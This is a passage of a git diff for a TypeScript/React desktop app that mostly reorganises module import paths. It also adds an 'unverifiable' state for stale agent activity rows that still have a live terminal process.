 export function getUpdateCheckClickOptions(
diff --git a/src/renderer/src/app-shell/use-app-chrome-layout.ts b/src/renderer/src/app-shell/use-app-chrome-layout.ts
index 74fc1ac1652..a01341d6f6b 100644
--- a/src/renderer/src/app-shell/use-app-chrome-layout.ts
+++ b/src/renderer/src/app-shell/use-app-chrome-layout.ts
@@ -1,11 +1,11 @@
 import { useLayoutEffect, useMemo, useRef, useState, useSyncExternalStore } from 'react'
 import { useShallow } from 'zustand/react/shallow'
 import { SYNC_FIT_PANES_EVENT } from '@/constants/terminal'
-import { canShowRightSidebarForView } from '@/lib/right-sidebar-visibility'
+import { canShowRightSidebarForView } from '@/components/right-sidebar/visibility/right-sidebar-visibility'
 import { resolveLeftSidebarStyleVariables } from '@/app-shell/appearance/left-sidebar-appearance'
-import { resolveLeftTitlebarChromeLayout } from '@/lib/titlebar-left-chrome'
+import { resolveLeftTitlebarChromeLayout } from '@/app-shell/chrome/titlebar-left-chrome'
 import { selectWorktreeCreationSurfaceShown } from '@/lib/workspace/creation/worktree-creation-surface'
-import { useAppStore } from '../store'
+import { useAppStore } from '../store/index'
 import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../shared/constants'
 import { selectActiveTerminalChromeState } from './active-terminal-chrome-selector'
 import {
diff --git a/src/renderer/src/app-shell/use-app-session-persistence.ts b/src/renderer/src/app-shell/use-app-session-persistence.ts
index 9fca4439f46..fce1c24e754 100644
--- a/src/renderer/src/app-shell/use-app-session-persistence.ts
+++ b/src/renderer/src/app-shell/use-app-session-persistence.ts
@@ -20,7 +20,7 @@ import {
   createShutdownCheckpointGuard
 } from './shutdown/shutdown-checkpoint-guard'
 import { showShutdownCheckpointFailureToast } from './shutdown/shutdown-checkpoint-failure-toast'
-import { isPairedWebClientWindow } from '../lib/desktop-window-chrome'
+import { isPairedWebClientWindow } from './chrome/desktop-window-chrome'
 import { createShutdownCheckpointPersist } from './shutdown-checkpoint-persist'
 import { shutdownBufferCaptures } from '../components/terminal-pane/snapshots/shutdown-buffer-captures'
 import {
diff --git a/src/renderer/src/app-shell/use-app-startup-hydration.ts b/src/renderer/src/app-shell/use-app-startup-hydration.ts
index f8aa1abb34d..1e388fc3bc6 100644
--- a/src/renderer/src/app-shell/use-app-startup-hydration.ts
+++ b/src/renderer/src/app-shell/use-app-startup-hydration.ts
@@ -1,7 +1,7 @@
 import { restoreStructuredLaunchSurfaces } from '@/lib/agent-session/launch/structured-agent-session-launch-surface'
 import { useEffect, useRef } from 'react'
 import { restoreLocalStructuredChatsAtStartup } from '@/runtime/native-chat/local-sessions/local-structured-chats'
-import { syncZoomCSSVar } from '@/lib/ui-zoom'
+import { syncZoomCSSVar } from '@/app-shell/chrome/ui-zoom'
 import { installCodexDetachedPaneRestartExecutor } from '@/components/terminal-pane/account-restart/detached/codex-detached-pane-restart-scheduler'
 import { useAppStore } from '../store/index'
 import { reconcileHydratedWorkspaceTabModels } from './reconcile-hydrated-workspace-tab-models'
@@ -24,7 +24,7 @@ import { recoverFromDegradedStartup } from '../startup/startup-degraded-recovery
 import { restoreSshConnectionsForStartup } from '../startup/startup-ssh-connection-restore'
 import { collectActiveWorkspaceSshTargetIds } from '../startup/active-workspace-ssh-targets'
 import { publishTerminalViewAttributesAtAppStart } from '../components/terminal-pane/appearance/terminal-appearance'
-import { getSystemPrefersDark } from '../lib/terminal-theme'
+import { getSystemPrefersDark } from '../lib/terminal/appearance/terminal-theme'
 import {
   collectTerminalProviderSnapshotPtyIds,
   refreshTerminalProviderSnapshotCapabilities
@@ -40,12 +40,12 @@ import { listRuntimeSessionHostsForStartup } from './startup-runtime-session-hos
 import { mapWithConcurrency } from '../../../shared/map-with-concurrency'
 import { collectWslMovedWorkspaceKeysFromSession } from '../store/repos/wsl-moved-projects'
 import { wslMovedSessionReadApi } from '../store/repos/wsl-moved-local-session-rows'
-import type { OnboardingState } from '../../../shared/onboarding-state-types'
 import { ensureLocalRuntimeCapabilities } from '../runtime/hosts/capabilities/local-runtime-capabilities'
 import {
   finishStartupWorktreeHydration,
   refreshStartupWorktrees
 } from '../startup/startup-worktree-refresh'
+import type { OnboardingState } from '../../../shared/onboarding-state-types'
 
 /** Hydrate settings/UI/catalog/session, reconnect and restore terminals before unlocking saves. Failure boots in degraded no-save mode to protect disk state. */
 export function useAppStartupHydration(onOnboardingLoaded: (state: OnboardingState) => void): void {
diff --git a/src/renderer/src/app-shell/use-document-appearance.ts b/src/renderer/src/app-shell/use-document-appearance.ts
index a8b0ff240cf..44ed5a220e7 100644
--- a/src/renderer/src/app-shell/use-document-appearance.ts
+++ b/src/renderer/src/app-shell/use-document-appearance.ts
@@ -99,6 +99,12 @@ export function useDocumentAppearance(): void {
   usePluginFontRegistration()
   const reduceEffects = useReduceVisualEffects(useAppStore((s) => s.settings?.reduceVisualEffects))
   const surfaceOpacity = useAppStore((s) => s.settings?.terminalBackgroundOpacity ?? 1)
+  useEffect(() => {
+    document.documentElement.style.setProperty(
+      '--orca-window-surface-opacity',
+      String(surfaceOpacity)
+    )
+  }, [surfaceOpacity])
   // Why re-parse: the theme list keeps the registration as received, and a newer host may send
   // a background this build cannot paint; it must drop to no image, never reach CSS.
   const registeredBackground = pluginTheme?.background
diff --git a/src/renderer/src/app-shell/use-global-keybindings.ts b/src/renderer/src/app-shell/use-global-keybindings.ts
index 62c6718798c..4ea218e6480 100644
--- a/src/renderer/src/app-shell/use-global-keybindings.ts
+++ b/src/renderer/src/app-shell/use-global-keybindings.ts
@@ -1,23 +1,23 @@
 import { useEffect, useLayoutEffect, useRef } from 'react'
 import { toast } from 'sonner'
 import { translate } from '@/i18n/i18n'
-import { canShowRightSidebarForView } from '@/lib/right-sidebar-visibility'
+import { canShowRightSidebarForView } from '@/components/right-sidebar/visibility/right-sidebar-visibility'
 import { getSelectedTextForFileSearch } from '../lib/files/search/file-search-selection'
 import { registerAppCommandDispatcher } from '@/lib/app-commands/app-command-dispatch'
-import { executePluginCommand } from '@/lib/plugin-command-execution'
-import { runBuiltInOrReplacement } from '@/lib/plugin-command-replacements'
+import { executePluginCommand } from '@/lib/plugins/commands/plugin-command-execution'
+import { runBuiltInOrReplacement } from '@/lib/plugins/commands/plugin-command-replacements'
 import {
   findPluginCommandForKeybinding,
   globalShortcutTargetYields
-} from '@/lib/plugin-command-keybindings'
+} from '@/lib/plugins/commands/plugin-command-keybindings'
 import { shouldMinimizeFloatingWorkspacePanelOnCloseShortcut } from '@/components/floating-terminal/floating-workspace-terminal-actions'
-import { showTerminalShortcutCaptureNotification } from '@/lib/terminal-shortcut-capture-notification'
+import { showTerminalShortcutCaptureNotification } from '@/lib/notifications/terminal-shortcut-capture-notification'
 import {
   folderRelativePathToIncludeGlob,
   selectedExplorerFolderRelativePath
 } from '../components/right-sidebar/file-explorer/content-search/file-search-include-pattern'
 import { usePluginCommands } from '@/store/plugins/catalog/plugin-contribution-catalog'
-import { useAppStore } from '../store'
+import { useAppStore } from '../store/index'
 import { keybindingMatchesAction, type KeybindingActionId } from '../../../shared/keybindings'
 import { PLUGIN_COMMAND_ALIAS_ACTION_IDS } from '../../../shared/plugins/contributions/plugin-command-actions'
 import {
diff --git a/src/renderer/src/app-shell/use-terminal-viewer-color-publication.ts b/src/renderer/src/app-shell/use-terminal-viewer-color-publication.ts
index c510b7304e1..89875c6d7b0 100644
--- a/src/renderer/src/app-shell/use-terminal-viewer-color-publication.ts
+++ b/src/renderer/src/app-shell/use-terminal-viewer-color-publication.ts
@@ -1,9 +1,9 @@
 import { useEffect } from 'react'
-import { getSystemPrefersDark } from '@/lib/terminal-theme'
+import { getSystemPrefersDark } from '@/lib/terminal/appearance/terminal-theme'
 import { publishTerminalViewAttributesAtAppStart } from '../components/terminal-pane/appearance/terminal-appearance'
 import { subscribeToPublishedTerminalViewAttributes } from '../components/terminal-pane/appearance/terminal-view-attributes-publisher'
 import { remoteRuntimeTerminalColorPush } from '../runtime/hosted-terminals/streams/remote-runtime-terminal-color-push'
-import { useAppStore } from '../store'
+import { useAppStore } from '../store/index'
 
 /** Reports this window's terminal theme to its own host and to every paired host. */
 export function useTerminalViewerColorPublication(): void {
diff --git a/src/renderer/src/app-shell/use-visible-review-refresh-reporting.ts b/src/renderer/src/app-shell/use-visible-review-refresh-reporting.ts
index 273779d34ed..e80c181e486 100644
--- a/src/renderer/src/app-shell/use-visible-review-refresh-reporting.ts
+++ b/src/renderer/src/app-shell/use-visible-review-refresh-reporting.ts
@@ -1,7 +1,7 @@
 import { useEffect, useMemo, useRef } from 'react'
-import { useAppStore } from '../store'
+import { useAppStore } from '../store/index'
 import type { AppState } from '../store/types'
-import { rightSidebarShowsPullRequestData } from '../lib/right-sidebar-visibility'
+import { rightSidebarShowsPullRequestData } from '../components/right-sidebar/visibility/right-sidebar-visibility'
 import { findWorktreeById, buildPRRefreshCandidate } from '../store/github/refresh/worktree-refresh'
 import { getHostedReviewCacheKey } from '../store/slices/hosted-review/hosted-review-cache-identity'
 import { getVisibleHostedReviewWorkspaces } from '../store/slices/hosted-review/refresh/visible-hosted-review-refresh-targets'
diff --git a/src/renderer/src/app-shell/use-window-visibility-effects.ts b/src/renderer/src/app-shell/use-window-visibility-effects.ts
index 788a1b93a94..7f39209ffe6 100644
--- a/src/renderer/src/app-shell/use-window-visibility-effects.ts
+++ b/src/renderer/src/app-shell/use-window-visibility-effects.ts
@@ -1,6 +1,6 @@
 import { useEffect } from 'react'
-import { isPairedWebClientWindow } from '@/lib/desktop-window-chrome'
-import { useAppStore } from '../store'
+import { isPairedWebClientWindow } from '@/app-shell/chrome/desktop-window-chrome'
+import { useAppStore } from '../store/index'
 import { isMac } from './app-window-chrome'
 import { selectWindowVisibilityActions } from './window-visibility-actions-selector'
 
diff --git a/src/renderer/src/attention/agent-attention-notification-delivery.ts b/src/renderer/src/attention/agent-attention-notification-delivery.ts
index edbd09548e8..09ba0c16157 100644
--- a/src/renderer/src/attention/agent-attention-notification-delivery.ts
+++ b/src/renderer/src/attention/agent-attention-notification-delivery.ts
@@ -1,6 +1,6 @@
 /** Share delivery, success sound and blocked-permission fallback across surfaces; callers own message content. Main applies banner preferences after mobile fanout, so callers cannot promise a banner. */
-import { playDesktopNotificationSound } from '@/lib/desktop-notification-sound'
-import { showBlockedNotificationFallbackToast } from '@/lib/blocked-notification-fallback'
+import { playDesktopNotificationSound } from '@/lib/notifications/desktop-notification-sound'
+import { showBlockedNotificationFallbackToast } from '@/lib/notifications/blocked-notification-fallback'
 import type {
   NotificationDispatchRequest,
   NotificationDispatchResult
diff --git a/src/renderer/src/attention/notification-workspace-labels.ts b/src/renderer/src/attention/notification-workspace-labels.ts
index b86c6836f1a..0eb04646b92 100644
--- a/src/renderer/src/attention/notification-workspace-labels.ts
+++ b/src/renderer/src/attention/notification-workspace-labels.ts
@@ -5,7 +5,7 @@ import {
   worktreeHostMatchOptions,
   worktreeMatchesHost
 } from '../store/slices/worktrees/listing/worktree-host-ownership'
-import { getResolvedExecutionHostIdForWorktree } from '../lib/resolved-worktree-execution-host'
+import { getResolvedExecutionHostIdForWorktree } from '../lib/workspace/ownership/resolved-worktree-execution-host'
 import { getActiveWorkspaceExecutionHostId } from '../lib/workspace/ownership/active-workspace-host'
 import {
   findIndexedFolderWorkspaceOwner,
diff --git a/src/renderer/src/lib/unread-badge-count-selector.test.ts b/src/renderer/src/attention/unread/unread-badge-count-selector.test.ts
similarity index 97%
rename from src/renderer/src/lib/unread-badge-count-selector.test.ts
rename to src/renderer/src/attention/unread/unread-badge-count-selector.test.ts
index 192b0a80b1c..0e12c92abff 100644
--- a/src/renderer/src/lib/unread-badge-count-selector.test.ts
+++ b/src/renderer/src/attention/unread/unread-badge-count-selector.test.ts
@@ -5,9 +5,9 @@ import { makeTab } from '@/store/terminals/terminal-tab.test-fixture'
 import { makeWorktree } from '@/store/slices/worktrees/worktree.test-fixture'
 import { TEST_REPO } from '@/store/repos/repo.test-fixture'
 import { makeFolderWorkspace } from '@/store/folder-workspaces/folder-workspace.test-fixture'
-import type { FolderWorkspace } from '../../../shared/folder-workspaces/folder-workspace-types'
-import type { ProjectGroup } from '../../../shared/project-group-types'
-import { folderWorkspaceKey } from '../../../shared/workspace-scope'
+import type { FolderWorkspace } from '../../../../shared/folder-workspaces/folder-workspace-types'
+import type { ProjectGroup } from '../../../../shared/project-group-types'
+import { folderWorkspaceKey } from '../../../../shared/workspace-scope'
 import { createUnreadBadgeCountSelector } from './unread-badge-count-selector'
 
 // Why: marking a folder workspace unread persists through this API; echo the write back.
diff --git a/src/renderer/src/lib/unread-badge-count-selector.ts b/src/renderer/src/attention/unread/unread-badge-count-selector.ts
similarity index 92%
rename from src/renderer/src/lib/unread-badge-count-selector.ts
rename to src/renderer/src/attention/unread/unread-badge-count-selector.ts
index 7c64dd39656..57849f62608 100644
--- a/src/renderer/src/lib/unread-badge-count-selector.ts
+++ b/src/renderer/src/attention/unread/unread-badge-count-selector.ts
@@ -1,13 +1,13 @@
 import { getVisibleWorkspaceHostIdSet } from '@/components/sidebar/worktree-list/listing/visible-worktree-host-scope'
-import { getPairedDeviceIdsByEnvironment } from '../../../shared/workspace-creator-visibility'
+import { getPairedDeviceIdsByEnvironment } from '../../../../shared/workspace-creator-visibility'
 import { getIndexedRepoMap } from '@/store/repos/repository-catalog-index'
 import type { AppState } from '@/store/types'
-import { getSettingsFocusedExecutionHostId } from '../../../shared/execution-host'
-import type { Worktree } from '../../../shared/worktree/types'
-import { sameBucketRecords } from './bucket-record-equality'
+import { getSettingsFocusedExecutionHostId } from '../../../../shared/execution-host'
+import type { Worktree } from '../../../../shared/worktree/types'
+import { sameBucketRecords } from '../../lib/bucket-record-equality'
 import { getUnreadBadgeCount } from './unread-badge-count'
 import { hasLiveTabMarker } from '@/store/slices/workspace-attention/workspace-live-markers'
-import { folderWorkspaceKey } from '../../../shared/workspace-scope'
+import { folderWorkspaceKey } from '../../../../shared/workspace-scope'
 import {
   selectFolderWorkspaces,
   selectWorktreesByRepo
diff --git a/src/renderer/src/lib/unread-badge-count.ts b/src/renderer/src/attention/unread/unread-badge-count.ts
similarity index 79%
rename from src/renderer/src/lib/unread-badge-count.ts
rename to src/renderer/src/attention/unread/unread-badge-count.ts
index 1e1fd1f0c4e..9266b72d38f 100644
--- a/src/renderer/src/lib/unread-badge-count.ts
+++ b/src/renderer/src/attention/unread/unread-badge-count.ts
@@ -1,22 +1,22 @@
 import {
   filterFolderWorkspacesForVisibleHosts,
   filterProjectGroupsForVisibleHosts
-} from '../../../shared/sidebar-list/host-filtering'
-import { getRenderableFolderWorkspaces } from '../../../shared/sidebar-list/folder-workspace-lanes'
+} from '../../../../shared/sidebar-list/host-filtering'
+import { getRenderableFolderWorkspaces } from '../../../../shared/sidebar-list/folder-workspace-lanes'
 import { worktreeMatchesVisibleHost } from '@/components/sidebar/worktree-list/listing/visible-worktree-host-scope'
 import {
   filterFolderWorkspacesFromOtherDevices,
   isWorkspaceOwnedBySomeoneElse
-} from '../../../shared/workspace-creator-visibility'
-import type { ExecutionHostId } from '../../../shared/execution-host'
-import type { FolderWorkspace } from '../../../shared/folder-workspaces/folder-workspace-types'
-import type { ProjectGroup } from '../../../shared/project-group-types'
-import type { Repo } from '../../../shared/repo-types'
-import { folderWorkspaceKey } from '../../../shared/workspace-scope'
+} from '../../../../shared/workspace-creator-visibility'
+import type { ExecutionHostId } from '../../../../shared/execution-host'
+import type { FolderWorkspace } from '../../../../shared/folder-workspaces/folder-workspace-types'
+import type { ProjectGroup } from '../../../../shared/project-group-types'
+import type { Repo } from '../../../../shared/repo-types'
+import { folderWorkspaceKey } from '../../../../shared/workspace-scope'
 import type { StoredAgentAttentionUnread } from '@/attention/agent-attention-contract'
-import type { TerminalTab } from '../../../shared/workspace-layout/terminal-tab-types'
-import type { Tab } from '../../../shared/tab-types'
-import type { Worktree } from '../../../shared/worktree/types'
+import type { TerminalTab } from '../../../../shared/workspace-layout/terminal-tab-types'
+import type { Tab } from '../../../../shared/tab-types'
+import type { Worktree } from '../../../../shared/worktree/types'
 import { hasLiveTabMarker } from '@/store/slices/workspace-attention/workspace-live-markers'
 
 export type UnreadBadgeCountSources = {
diff --git a/src/renderer/src/components/ClaudeAccountSwitchSessionTree.tsx b/src/renderer/src/components/ClaudeAccountSwitchSessionTree.tsx
index 25ad85b58f6..c4be6ec382c 100644
--- a/src/renderer/src/components/ClaudeAccountSwitchSessionTree.tsx
+++ b/src/renderer/src/components/ClaudeAccountSwitchSessionTree.tsx
@@ -13,9 +13,9 @@ import {
 import {
   resolveWorktreeBranchLabel,
   resolveWorktreeDisplayName
-} from '@/lib/worktree-default-display-name'
+} from '@/lib/workspace/display/worktree-default-display-name'
 import { makePaneKey } from '../../../shared/workspace-layout/stable-pane-id'
-import { useAppStore } from '../store'
+import { useAppStore } from '../store/index'
 import { ResumeTreeRow } from './native-chat-recovery/tree/NativeChatResumeTreeRow'
 import {
   resumeSelectionState,
diff --git a/src/renderer/src/components/LinearIssueWorkspace.tsx b/src/renderer/src/components/LinearIssueWorkspace.tsx
index ba4bee4a91f..72623c4f848 100644
--- a/src/renderer/src/components/LinearIssueWorkspace.tsx
+++ b/src/renderer/src/components/LinearIssueWorkspace.tsx
@@ -5,9 +5,9 @@ import { LinearIssueTextEditor } from '@/components/LinearIssueTextEditor'
 import { Sheet, SheetContent, SheetDescription, SheetTitle } from '@/components/ui/sheet'
 import { findLinearIssueWorkspaceAttachment } from '@/lib/work-items/linear/linear-issue-workspace-attachment'
 import { openLinearIssueWorkspaceOrStart } from '@/lib/work-items/linear/linear-issue-workspace-open'
-import { getWorktreeAttachmentLabel } from '@/lib/worktree-attachment-label'
+import { getWorktreeAttachmentLabel } from '@/lib/workspace/display/worktree-attachment-label'
 import { folderWorkspaceToWorktree } from '../../../shared/folder-workspaces/folder-workspace-worktree'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { useAllWorktrees } from '@/store/slices/worktrees/listing/use-worktree-catalog'
 import type { LinearIssue } from '../../../shared/linear/issue-types'
 import type { TaskSourceContext } from '../../../shared/work-items/task-source-context'
diff --git a/src/renderer/src/components/LinearItemDrawer.tsx b/src/renderer/src/components/LinearItemDrawer.tsx
index 30fecf6f88a..74eed4dece2 100644
--- a/src/renderer/src/components/LinearItemDrawer.tsx
+++ b/src/renderer/src/components/LinearItemDrawer.tsx
@@ -6,9 +6,9 @@ import React, { useCallback, useEffect, useMemo, useRef, useState } from 'react'
 
 import { findLinearIssueWorkspaceAttachment } from '@/lib/work-items/linear/linear-issue-workspace-attachment'
 import { openLinearIssueWorkspaceOrStart } from '@/lib/work-items/linear/linear-issue-workspace-open'
-import { getWorktreeAttachmentLabel } from '@/lib/worktree-attachment-label'
+import { getWorktreeAttachmentLabel } from '@/lib/workspace/display/worktree-attachment-label'
 import { folderWorkspaceToWorktree } from '../../../shared/folder-workspaces/folder-workspace-worktree'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { translate } from '@/i18n/i18n'
 import { useIntlLocale, useTranslate } from '@/i18n/use-translate'
 import { useAllWorktrees } from '@/store/slices/worktrees/listing/use-worktree-catalog'
diff --git a/src/renderer/src/components/NotificationCardStack.tsx b/src/renderer/src/components/NotificationCardStack.tsx
index f047c6d7662..c315855e263 100644
--- a/src/renderer/src/components/NotificationCardStack.tsx
+++ b/src/renderer/src/components/NotificationCardStack.tsx
@@ -2,11 +2,11 @@ import { useEffect, useRef, type ReactNode } from 'react'
 import {
   NOTIFICATION_CARD_STACK_BOTTOM,
   NOTIFICATION_CARD_STACK_HEIGHT_VAR
-} from '@/lib/notification-card-stack-height'
+} from '@/lib/notifications/notification-card-stack-height'
 import {
   registerNotificationCardLayoutVarReader,
   setNotificationCardLayoutVar
-} from '@/lib/notification-card-layout-vars'
+} from '@/lib/notifications/notification-card-layout-vars'
 
 const STACK_STYLE = {
   bottom: NOTIFICATION_CARD_STACK_BOTTOM,
diff --git a/src/renderer/src/components/ZoomOverlay.tsx b/src/renderer/src/components/ZoomOverlay.tsx
index 6a399b1bec0..66581de9e5e 100644
--- a/src/renderer/src/components/ZoomOverlay.tsx
+++ b/src/renderer/src/components/ZoomOverlay.tsx
@@ -1,7 +1,10 @@
 import { useEffect, useRef, useState } from 'react'
 import { Search } from 'lucide-react'
-import { ZOOM_LEVEL_CHANGED_EVENT } from '@/lib/zoom-events'
-import type { ZoomLevelChangedEventDetail } from '@/lib/zoom-events'
+import {
+  ZOOM_LEVEL_CHANGED_EVENT,
+  type ZoomLevelChangedEventDetail
+} from '@/app-shell/chrome/zoom-events'
+
 import { useTranslate } from '@/i18n/use-translate'
 
 // Unmount after fading so the fixed overlay cannot interfere with Radix layering, outside clicks or focus.
diff --git a/src/renderer/src/components/activity/ActivityPrototypePage-test-fixtures.ts b/src/renderer/src/components/activity/ActivityPrototypePage-test-fixtures.ts
index c4a0b1207fb..744af8fff69 100644
--- a/src/renderer/src/components/activity/ActivityPrototypePage-test-fixtures.ts
+++ b/src/renderer/src/components/activity/ActivityPrototypePage-test-fixtures.ts
@@ -144,6 +144,7 @@ export function makeActivityResult(args: {
   retained?: Record<string, RetainedAgentEntry>
   tab?: TerminalTab
   tabs?: TerminalTab[]
+  ptyIdsByTabId?: Record<string, string[]>
   now?: number
 }): ReturnType<typeof buildActivityEvents> {
   const repo = makeRepo()
@@ -157,6 +158,7 @@ export function makeActivityResult(args: {
     tabsByWorktree: {
       [worktree.id]: args.tabs ?? [tab]
     },
+    ptyIdsByTabId: args.ptyIdsByTabId,
     worktreeMap: new Map([[worktree.id, worktree]]),
     repoMap: new Map([[repo.id, repo]]),
     acknowledgedAgentsByPaneKey: {},
diff --git a/src/renderer/src/components/activity/activity-event-builder.ts b/src/renderer/src/components/activity/activity-event-builder.ts
index f92f3354a83..9b5c4877228 100644
--- a/src/renderer/src/components/activity/activity-event-builder.ts
+++ b/src/renderer/src/components/activity/activity-event-builder.ts
@@ -1,6 +1,7 @@
 import { getStructuredAgentSessionTabsByPaneKey } from '@/components/native-chat/session/status/structured-agent-session-tabs'
 import { parseAgentStatusPaneIdentity } from '../../../../shared/agent-status/identity/agent-status-worktree-attribution'
-import { freshActivityLiveAgentState } from './activity-event-state'
+import { tabHasLivePty } from '../../../../shared/tab-has-live-pty'
+import { activityLiveAgentState } from './activity-event-state'
 import type { RetainedAgentEntry } from '@/store/slices/agent-status/agent-status-contract'
 import type {
   AgentStatusEntry,
@@ -36,6 +37,7 @@ export type BuildActivityEventsArgs = {
   migrationUnsupportedByPtyId?: Record<string, MigrationUnsupportedPtyEntry>
   retainedAgentsByPaneKey: Record<string, RetainedAgentEntry>
   tabsByWorktree: Record<string, TerminalTab[]>
+  ptyIdsByTabId?: Record<string, string[]>
   unifiedTabsByWorktree?: Record<string, Tab[]>
   worktreeMap: Map<string, Worktree>
   repoMap: Map<string, Repo>
@@ -101,7 +103,11 @@ export function buildActivityEvents(
     )
     const orchestration = args.runtimeAgentOrchestrationByPaneKey?.[paneKey]
     // Only fresh raw live state proves working; history and orchestration enrichment cannot establish liveness.
-    const liveState = freshActivityLiveAgentState(entry, args.now)
+    const liveState = activityLiveAgentState(
+      entry,
+      args.now,
+      tabHasLivePty(args.ptyIdsByTabId ?? {}, context.tab.id)
+    )
     const {
       events: paneEvents,
       live,
diff --git a/src/renderer/src/components/activity/activity-event-state.ts b/src/renderer/src/components/activity/activity-event-state.ts
index 0c6242dba7c..b14939e6898 100644
--- a/src/renderer/src/components/activity/activity-event-state.ts
+++ b/src/renderer/src/components/activity/activity-event-state.ts
@@ -1,7 +1,4 @@
-import {
-  isAgentStatusFresh,
-  AGENT_STATUS_STALE_AFTER_MS
-} from '../../../../shared/agent-status/contracts/agent-status-freshness'
+import { resolveAgentRowState } from '../../../../shared/agent-status/presentation/agent-row-decay-state'
 
 import type {
   AgentStatusEntry,
@@ -12,24 +9,39 @@ import type {
 import type { ActivityHookLiveAgentState, ActivityLiveAgentState } from './activity-thread-types'
 
 function isActivityHookLiveAgentState(
-  state: AgentStatusState
+  state: AgentStatusState | 'idle'
 ): state is ActivityHookLiveAgentState {
   return state === 'working' || state === 'blocked' || state === 'waiting'
 }
 
+/** The card's row state; a stale working pane with a live PTY stays listed as unverifiable instead of vanishing. */
+export function activityLiveAgentState(
+  entry: AgentStatusEntry,
+  now: number,
+  hasLivePty: boolean
+): ActivityLiveAgentState | null {
+  const state = resolveAgentRowState(entry, now, hasLivePty)
+  if (state === 'unverifiable') {
+    // Stale blocked/waiting keep their attention status through the historical event path.
+    return entry.state === 'working' ? state : null
+  }
+  if (!isActivityHookLiveAgentState(state)) {
+    return null
+  }
+  return state === 'working' && entry.workingMode === 'monitoring' ? 'monitoring' : state
+}
+
+/** Fresh hook state only, for counts that must not include unverifiable rows. */
 export function freshActivityLiveAgentState(
   entry: AgentStatusEntry,
   now: number
 ): ActivityLiveAgentState | null {
-  if (
-    !isActivityHookLiveAgentState(entry.state) ||
-    !isAgentStatusFresh(entry, now, AGENT_STATUS_STALE_AFTER_MS)
-  ) {
-    return null
-  }
-  return entry.state === 'working' && entry.workingMode === 'monitoring'
-    ? 'monitoring'
-    : entry.state
+  return activityLiveAgentState(entry, now, false)
+}
+
+/** Unverifiable rows stay listed but are not running work. */
+export function isRunningActivityState(state: ActivityLiveAgentState | null | undefined): boolean {
+  return state != null && state !== 'unverifiable'
 }
 
 export function isHistoricalActivityState(
diff --git a/src/renderer/src/components/activity/activity-thread-child-agent.ts b/src/renderer/src/components/activity/activity-thread-child-agent.ts
index 2f2297f3d04..b04bdbf5e04 100644
--- a/src/renderer/src/components/activity/activity-thread-child-agent.ts
+++ b/src/renderer/src/components/activity/activity-thread-child-agent.ts
@@ -4,6 +4,7 @@ import {
   resolveAgentRowParentPaneKey,
   type AgentLineageSourceRow
 } from '../dashboard/agent-row-lineage-model'
+import { isRunningActivityState } from './activity-event-state'
 import type { ActivityLiveAgentState } from './activity-thread-types'
 
 type ChildAgentLineageEntry = Pick<AgentStatusEntry, 'terminalHandle' | 'orchestration'>
@@ -11,7 +12,7 @@ type ChildAgentLineageEntry = Pick<AgentStatusEntry, 'terminalHandle' | 'orchest
 /** Accept full threads or synthetic structural rows without casts; classifier tests pin compatibility. */
 export type ChildAgentClassifiableThread = {
   paneKey: string
-  /** Non-null while the pane's own turn is live (working, monitoring or waiting on the user). */
+  /** Running while the pane's own turn is live (working, monitoring or waiting on the user); unverifiable is not. */
   currentAgentState?: ActivityLiveAgentState | null
   currentAgentEntry?: ChildAgentLineageEntry | null
   latestEvent?: { entry: ChildAgentLineageEntry } | null
@@ -89,7 +90,9 @@ export function classifyChildAgents(threads: readonly ChildAgentClassifiableThre
   })
 
   const livePaneKeys = new Set(
-    threads.filter((thread) => thread.currentAgentState).map((thread) => thread.paneKey)
+    threads
+      .filter((thread) => isRunningActivityState(thread.currentAgentState))
+      .map((thread) => thread.paneKey)
   )
   const tree = buildAgentRowLineageTree(rows)
   const parentPaneKeyByChild = new Map<string, string>()
diff --git a/src/renderer/src/components/activity/activity-thread-controls.tsx b/src/renderer/src/components/activity/activity-thread-controls.tsx
index f90a355788e..bfc9c066c1c 100644
--- a/src/renderer/src/components/activity/activity-thread-controls.tsx
+++ b/src/renderer/src/components/activity/activity-thread-controls.tsx
@@ -4,7 +4,7 @@ import { AgentStateDot } from '@/components/AgentStateDot'
 import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip'
 import { useNow } from '@/hooks/use-now'
 import { cn } from '@/lib/class-names'
-import { formatShortTimeAgo } from '@/lib/short-time-ago'
+import { formatShortTimeAgo } from '@/lib/time-format/short-time-ago'
 import { RepoBadgeMark } from '@/components/repo/RepoBadgeLabel'
 import type { Repo } from '../../../../shared/repo-types'
 import {
diff --git a/src/renderer/src/components/activity/activity-thread-grouping.ts b/src/renderer/src/components/activity/activity-thread-grouping.ts
index 1fcea62126c..28d73c3e415 100644
--- a/src/renderer/src/components/activity/activity-thread-grouping.ts
+++ b/src/renderer/src/components/activity/activity-thread-grouping.ts
@@ -3,7 +3,7 @@ import { translate } from '@/i18n/i18n'
 import type { Translate } from '@/i18n/use-translate'
 import { formatAgentTypeLabel } from '../../../../shared/agent-status/presentation/agent-type-label'
 import { getAgentRowPrimaryText } from '../../../../shared/agent-status/presentation/agent-row-primary-text'
-import { getActivityThreadWorkspaceTitle } from '@/lib/activity-thread-display'
+import { getActivityThreadWorkspaceTitle } from '@/lib/workspace/activity/activity-thread-display'
 import { isClipboardTextByteLengthOverLimit } from '../../../../shared/clipboard-text'
 import {
   activityThreadStatusId,
diff --git a/src/renderer/src/components/activity/activity-thread-hover-card-summary.tsx b/src/renderer/src/components/activity/activity-thread-hover-card-summary.tsx
index 0d02ee03145..5fb0e19b6d9 100644
--- a/src/renderer/src/components/activity/activity-thread-hover-card-summary.tsx
+++ b/src/renderer/src/components/activity/activity-thread-hover-card-summary.tsx
@@ -12,14 +12,11 @@ import { useTranslate } from '@/i18n/use-translate'
 import { formatClipboardFilePath } from '@/lib/clipboard/clipboard-file-path'
 import { getWorktreeRowLocalPathOpenOwner } from '@/lib/workspace/ownership/worktree-row-open-in-owner'
 import { cn } from '@/lib/class-names'
-import {
-  getExecutionHostLabel,
-  getWorktreeExecutionHostId,
-  parseExecutionHostId
-} from '../../../../shared/execution-host'
+import { getWorktreeExecutionHostId, parseExecutionHostId } from '../../../../shared/execution-host'
 import type { GlobalSettings } from '../../../../shared/global-settings-types'
 import { getHostDisplayLabelOverrides } from '../../../../shared/host-setting-overrides'
 import CommentMarkdown from '../sidebar/CommentMarkdown'
+import { getTranslatedExecutionHostLabel } from '../sidebar/execution-host-label'
 import {
   DetailHeader,
   MetadataActionIcon
